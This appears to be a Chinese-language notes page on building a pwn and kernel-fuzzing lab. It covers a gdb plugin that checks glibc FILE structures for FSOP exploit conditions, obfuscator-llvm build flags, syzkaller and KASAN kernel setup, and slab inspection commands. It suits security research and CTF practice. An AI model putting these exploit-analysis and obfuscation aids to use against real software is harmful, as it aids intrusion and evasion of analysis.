            cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(chain) +").file._chain"
            chain = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            print("0x%x" % chain,end = "")
        print("")
    except :
        print("Chain is corrupted")

def testorange(addr):
    getarch()
    result = True
    cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._mode"
    mode = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16) & 0xffffffff
    cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._IO_write_ptr"
    write_ptr = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._IO_write_base"
    write_base = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    if mode < 0x80000000 and mode != 0:
        try :
            cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._wide_data"
            wide_data = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            cmd = "x/" + word + "&((struct _IO_wide_data *)" + hex(wide_data) + ")._IO_write_ptr"
            w_write_ptr = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            cmd = "x/" + word + "&((struct _IO_wide_data *)" + hex(wide_data) + ")._IO_write_base"
            w_write_base = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            if w_write_ptr <= w_write_base :
                print("\033[;1;31m_wide_data->_IO_write_ptr(0x%x) < _wide_data->_IO_write_base(0x%x)\033[1;37m" % (w_write_ptr,w_write_base))
                result = False
        except :
            print("\033;1;31mCan't access wide_data\033[1;37m")
            result = False
    else :
        if write_ptr <= write_base :
            print("\033[;1;31m_IO_write_ptr(0x%x) < _IO_write_base(0x%x)\033[1;37m" % (write_ptr,write_base))
            result = False  
    if result :
        print("Result : \033[34mTrue\033[37m")
        cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").vtable.__overflow"
        overflow = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
        print("Func : \033[33m 0x%x\033[1;37m" % overflow)
    else :
        print("Result : \033[31mFalse\033[1;37m")

def testfsop(addr=None):
    getarch()
    if addr :
        cmd = "x/" + word + hex(addr)
    else :
        cmd = "x/" + word + "&_IO_list_all"
    head = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    chain = head
    print("---------- fp : 0x%x ----------" % chain)
    testorange(chain)
    try :
        while chain != 0 :
            cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(chain) +").file._chain"
            chain = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            if chain != 0 :
                print("---------- fp : 0x%x ----------" % chain)
                testorange(chain)
    except :
        print("Chain is corrupted")

def getfmtarg(addr):
    if capsize == 0 :
        getarch()
    if arch == "i386" :
        start = get_reg("esp")
        idx = (addr- start)/4
        print("The index of format argument : %d (\"\%%%d$p\")" % (idx,idx - 1))
    elif arch == "x86-64" :
        start = get_reg("rsp")
        idx = (addr - start)/8 + 6
        print("The index of format argument : %d (\"\%%%d$p\")" % (idx,idx - 1))
    else :
        print("Not support the arch")

pwncmd = PwnCmd()
PwngdbCmd()
for cmd in pwncmd.commands :
    PwngdbAlias(cmd,"pwngdb %s" % cmd)

gdb.execute("set print asm-demangle on") 

源码调试

清华源

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set substitute-path /build/glibc-CVJwZb/glibc-2.27/ /home/ubuntu/glibc/glibc-2.27/

莫名奇妙的bug

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解决vmware安装vm-tools无效
sudo apt-get autoremove open-vm-tools
sudo apt-get install open-vm-tools-desktop
reboot 

解决vmware和hyper-v冲突
bcdedit /set hypervisorlaunchtype off
解决吞字
禁用usb间接性暂停

woboq

woboq是一款优秀的代码阅读器

glibc

glibc源码

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git clone https://sourceware.org/git/glibc.git && cd glibc

安装bear

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sudo apt-get install bear

安装woboq

编译完后 ./generator/codebrowser_generator 是代码生成器, ./indexgenerator/codebrowser_indexgenerator 是索引生成器.

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sudo apt-get install llvm-12 clang-12 libclang-12-dev
git clone https://github.com/KDAB/codebrowser
cd codebrowser
cmake . -DCMAKE_BUILD_TYPE=Release
make

使用bear编译glibc源码 (例如2.34)

生成 compile_commands.json 文件

中间会提示很多东西缺少或者版本太低了，缺啥补啥就行了

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cd glibc
git checkout release/2.34/master
../configure --prefix=/usr --disable-werror
bear make

解析

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# ./generator/codebrowser_generator -b $BUILD_DIRECTORY -a -o $OUTPUT_DIRECTORY -p codebrowser:$SOURCE_DIRECTORY:$VERSION
# ./indexgenerator/codebrowser_indexgenerator $OUTPUT_DIRECTORY
# cp -rv ./data $DATA_DIRECTORY
./generator/codebrowser_generator -b /home/ubuntu/glibc/build -a -o /home/ubuntu/woboq/glibc/2.34 -p 2.34:/home/ubuntu/glibc:2.34
./indexgenerator/codebrowser_indexgenerator /home/ubuntu/woboq/glibc/2.34
cp -rv ./data /home/ubuntu/woboq/glibc/data

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cd /home/ubuntu/woboq/glibc/ && python3 -m http.server 9999

woboq afl

前提：

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afl源码、woboq、bear

生成compile_commands.json文件

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cd ~
git clone https://github.com/google/AFL afl
cd afl
sudo bear make

解析

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cd ~/codebrowser
./generator/codebrowser_generator -b /home/ubuntu/afl/ -a -o /home/ubuntu/woboq/afl/2.57 -p 2.57:/home/ubuntu/afl:2.57
./indexgenerator/codebrowser_indexgenerator /home/ubuntu/woboq/afl/2.57
sudo cp -rv ./data /home/ubuntu/woboq/afl/data

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cd /home/ubuntu/woboq/afl/ && python3 -m http.server 9999

obfuscator-llvm

需要用gcc-8 g++-8

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git clone -b llvm-4.0 https://github.com/obfuscator-llvm/obfuscator.git
sudo apt-get install gcc-8 g++-8 -y
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-8 8 #配置优先级
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-8 8 #配置优先级

修改/include/llvm/ExecutionEngine/Orc/OrcRemoteTargetClient.h

定位到第690行把char 改成 uint_8

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cd obfuscator
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF /home/ubuntu/obfuscator/
sudo make -j7

编译到后面，即使没有到 100%全部成功，只要4个关键文件clang clang++ clang-4.0 clang-format 是在的

例子

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~/obfuscator/build/bin/clang pwn.c -o pwn -mllvm -fla -mllvm -sub -mllvm -sub_loop=3 -mllvm -bcf -mllvm -bcf_prob=40

开启控制流扁平化

-mllvm -fla 开启控制流扁平化 -mllvm -split 激活基本块划分。一起使用时能提高打平能力。 -mllvm -split_num=3 如果激活控制流打平，对每一个基本块应用三次控制流打平。默认使用1次。

开启指令替换

-mllvm -sub 开启指令替换 -mllvm -sub_loop=3 如果激活了指令替换，使用这个选项在一个函数中应用3次指令替换。默认应用1次。

开启虚假控制流

-mllvm -bcf 开启虚假控制流 bcf可以配合下面参数使用 -mllvm -bcf_loop=3 设置函数混淆次数为3次不加此选项默认为1次 -mllvm -bcf_prob=40 设置代码块被混淆的概率是40%，默认30%

pwn题批量部署

ida静态编译符号表恢复

快捷键：shift + f5

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git clone https://github.com/push0ebp/sig-database.git

把需要的sig文件放到对应架构的文件夹下面即可

syzkaller环境搭建

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wget https://dl.google.com/go/go1.21.4.linux-amd64.tar.gz
tar -xf go1.21.4.linux-amd64.tar.gz
export GOROOT=`pwd`/go
export PATH=$GOROOT/bin:$PATH
sudo apt install build-essential flex bison libssl-dev libelf-dev bc qemu
git clone https://github.com/google/syzkaller
cd syzkaller
sudo make all

linux 内核编译

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sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison zstd -y
wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.10.102.tar.gz
unar linux-5.10.102.tar.gz
cd linux-5.10.102/
make menuconfig
or
make defconfig
增加config中的内容
make olddefconfig
make -j`nproc`

勾选

Kernel hacking -> Compile-time checks and compiler options -> Compile the kernel with debug info
Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger

config

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# Coverage collection.
CONFIG_KCOV=y

# Debug info for symbolization.
CONFIG_DEBUG_INFO=y
CONFIG_RANDOMIZE_BASE=n
CONFIG_DEBUG_INFO_DWARF4=y

# Memory bug detector
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y

# Required for Debian Stretch
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="net.ifnames=0"
CONFIG_BINFMT_MISC=y

CONFIG_VIRTIO_NET=y
CONFIG_E1000=y
CONFIG_E1000E=y

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sudo make bzImage -j$(nproc) && sudo make modules -j$(nproc)

编译出的在arch/x86_64/boot/bzImage

使用

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sudo apt-get install debootstrap qemu-system
mkdir image  
cd image/  
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh  
chmod +x create-image.sh  
./create-image.sh
vim start.sh

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qemu-system-x86_64 \
  -m 2G \
  -smp 2 \
  -kernel /home/ubuntu/fuzz/linux-6.2/arch/x86/boot/bzImage \
  -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
  -drive file=/home/ubuntu/fuzz_tools/image/bullseye.img,format=raw \
  -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
  -net nic,model=e1000 \
  -enable-kvm \
  -nographic \
  -pidfile vm.pid \
  2>&1 | tee vm.log

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ssh -i bullseye.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost

可能存在的问题

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{
  "target": "linux/amd64",
  "http": "0.0.0.0:56741",
  "workdir": "/home/ubuntu/fuzz_tools/image/workdirr",
  "kernel_obj": "/home/ubuntu/fuzz/linux-6.2",
  "image": "/home/ubuntu/fuzz_tools/image/bullseye.img",
  "sshkey": "/home/ubuntu/fuzz_tools/image/bullseye.id_rsa",
  "syzkaller": "/home/ubuntu/fuzz_tools/syzkaller",
  "procs": 8,
  "type": "qemu",
  "vm": {
    "count": 4,
    "cmdline": "net.ifnames=0",
    "kernel": "/home/ubuntu/fuzz/linux-6.2/arch/x86/boot/bzImage",
    "cpu": 4,
    "mem": 4096
  }
}

kernel相关

常用命令

查看保护机制

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cat /sys/devices/system/cpu/vulnerabilities/*

查看slab

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cat /proc/slabinfo

查看slab

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admin@vm:~$ sudo cat /sys/kernel/slab/filp/object_size # 每个object的大小
256
admin@vm:~$ sudo cat /sys/kernel/slab/filp/objs_per_slab # 每个slab中可容纳多少object
16
admin@vm:~$ sudo cat /sys/kernel/slab/filp/cpu_partial # cpu partial list最大阈值
13

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# 打包命令
find . | cpio -o --format=newc > ../../rootfs.img
# 解包命令
cpio -idmv < rootfs.img

查看最大文件打开数量

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ulimit -n

pahole安装

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sudo apt-get install libdw-dev
git clone https://github.com/jmesmon/pahole
cd pahole
mkdir build
cd build
cmake -D__LIB=lib ..
sudo make 
sudo make install
sudo cp ./pahole /usr/local/bin/pahole

报错

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/home/ubuntu/pahole/dwarves_fprintf.c:77:3: error: ‘DW_TAG_mutable_type’ undeclared here (not in a function); did you mean ‘DW_TAG_immutable_type’?
  [DW_TAG_mutable_type]    = "mutable_type",
   ^~~~~~~~~~~~~~~~~~~
   DW_TAG_immutable_type

注释掉/home/ubuntu/pahole/dwarves_fprintf.c 报错的那一行

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[DW_TAG_mutable_type]    = "mutable_type"

使用

pahole ./file

挂载ptmx

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mkdir -p /dev/pts 
mount -vt devpts -o gid=4,mode=620 none /dev/pts